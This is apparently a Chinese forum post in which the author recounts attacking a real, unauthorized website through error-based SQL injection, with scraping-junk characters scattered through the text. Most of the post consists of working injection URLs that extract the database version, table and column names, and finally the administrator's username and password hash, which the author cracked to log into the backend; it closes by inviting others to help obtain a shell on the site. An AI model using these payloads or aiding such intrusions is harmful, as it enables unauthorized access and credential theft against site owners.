近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。5 [ |$ n6 d, }+ ~4 w! o7 ^
首先找到网站后台,加了个admin,后台出来了
2 Z2 c1 V. o8 B0 x* i7 \( [" Z5 E6 N) @/ [( o9 b
* \! g8 g' W. [& V4 N
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入- p$ f4 R& {) u$ T1 O0 N
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—3 i2 g' ^. ~' M) T9 P& X, |: n6 C7 h
. ]9 \' D- }* e# B; k, ~" P; V+ M5 q- Z( F# g* A5 B' K
$ u) k. W; I$ q, ~2 j8 P
6 Z, T4 L8 { o& h. O; a& F! X
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
- [+ D, C, W1 r( T( v; | L+ c7 K+ s) u1 ?* e( y. W( {2 ?
; m+ |2 j& h1 x* e& N I8 ]4 i% z! b. b7 C: r" m
5 \1 I( r, C8 S) t! C1 _& h. i可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
3 E9 L& `4 @" O; H1 u
: `0 _4 p/ U: [1 C1 O6 a" ~+ m$ D
# Y4 v* ^" W9 v% K% _6 I+ y3 o0 ahttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg8 ~. i/ n9 l* l) Y
5 v: {% i4 R9 d6 ?/ ^. f( b1 k
" S# m+ d! W* L2 S1 C
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--' p: b0 P, u* O+ Y+ w" M( v
2 ?- p [1 N9 E3 w4 S
0 I$ ]/ v% ^, q: [. Z$ x+ f( `9 a8 i
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
) k0 \% u( b8 b$ R# y+ L! l/ p6 k) u) B7 R
! s1 G' b; I9 {$ S/ H& S! B: d
4 |% M0 L% p8 _; ]; O 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |